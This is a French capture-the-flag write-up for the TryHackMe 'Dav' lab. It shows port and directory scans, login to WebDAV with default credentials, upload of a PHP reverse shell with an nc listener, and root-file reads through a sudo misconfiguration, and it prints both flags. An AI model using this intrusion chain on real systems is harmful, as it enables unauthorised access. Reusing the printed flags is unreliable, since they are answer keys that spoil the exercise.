Dav

https://tryhackme.com/room/bsidesgtdav

Un seul port ouvert dans ce challenge.

root@ip-10-10-218-182:~# nmap 10.10.183.89

Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-17 23:23 GMT
Nmap scan report for ip-10-10-183-89.eu-west-1.compute.internal (10.10.183.89)
Host is up (0.0030s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:85:E5:6B:63:D7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds

Gobuster indique un répertoire caché /webdav.

root@ip-10-10-218-182:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.183.89/ -w directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.183.89/
[+] Threads:        10
[+] Wordlist:       directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/12/17 23:25:58 Starting gobuster
===============================================================
/webdav (Status: 401)
/server-status (Status: 403)
===============================================================
2022/12/17 23:26:18 Finished
===============================================================

Webdav est une groupe d’extensions du protocole HTTP (voir ce site ou cet autre site).

Via le navigateur, des identifiants sont demandés pour accéder à ce répertoire.

On peut trouver les identifiants par défaut par exemple sur ce site.

On accède bien au répertoire !

wampp:$apr1$Wm2VTkFL$PVNRQv7kzqXQIHe14qKA91

On retrouve les identifiants utilisés précédemment.

Maintenant, nous allons envoyer un reverse shell en PHP et ouvrir un listener sur notre machine. On utilisera cadaver pour l’upload.

$ cadaver http://10.10.19.245/webdav
Authentication required for webdav on server `10.10.183.89':
Username: wampp
Password: 
dav:/webdav/> put shell.php
Uploading shell.php to `/webdav/shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.
dav:/webdav/> quit
Connection to `10.10.183.89' closed.
$ rlwrap nc -nlvp 4444

Il suffit maintenant d’ouvrir la page http://10.10.183.89/webdav/shell.php

Nous obtenons notre reverse shell.

$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.183.89.
Ncat: Connection from 10.10.183.89:55292.
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 20:10:37 up  1:56,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

On upgrade le shell et on obtient notre premier flag.

$ SHELL=/bin/bash script -q /dev/null
www-data@ubuntu:/$ cd /home
www-data@ubuntu:/home$ ls
merlin  wampp
www-data@ubuntu:/home/wampp$ cd /home/merlin/
www-data@ubuntu:/home/merlin$ ls -la
total 44
drwxr-xr-x 4 merlin merlin 4096 Aug 25  2019 .
drwxr-xr-x 4 root   root   4096 Aug 25  2019 ..
-rw------- 1 merlin merlin 2377 Aug 25  2019 .bash_history
-rw-r--r-- 1 merlin merlin  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 merlin merlin 3771 Aug 25  2019 .bashrc
drwx------ 2 merlin merlin 4096 Aug 25  2019 .cache
-rw------- 1 merlin merlin   68 Aug 25  2019 .lesshst
drwxrwxr-x 2 merlin merlin 4096 Aug 25  2019 .nano
-rw-r--r-- 1 merlin merlin  655 Aug 25  2019 .profile
-rw-r--r-- 1 merlin merlin    0 Aug 25  2019 .sudo_as_admin_successful
-rw-r--r-- 1 root   root    183 Aug 25  2019 .wget-hsts
-rw-rw-r-- 1 merlin merlin   33 Aug 25  2019 user.txt
www-data@ubuntu:/home/merlin$ cat user.txt
449b40fe93f78a938523b7e4dcd66d2a

Pour le flag root, regardons les commandes disponibles avec la commande sudo -l

www-data@ubuntu:/home/merlin$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

On peut utiliser la commande cat !

Il ne nous reste plus qu’à obtenir le flag root.

www-data@ubuntu:/home/merlin$ sudo cat /root/root.txt
101101ddc16b0cdf65ba0b8a7af7afa5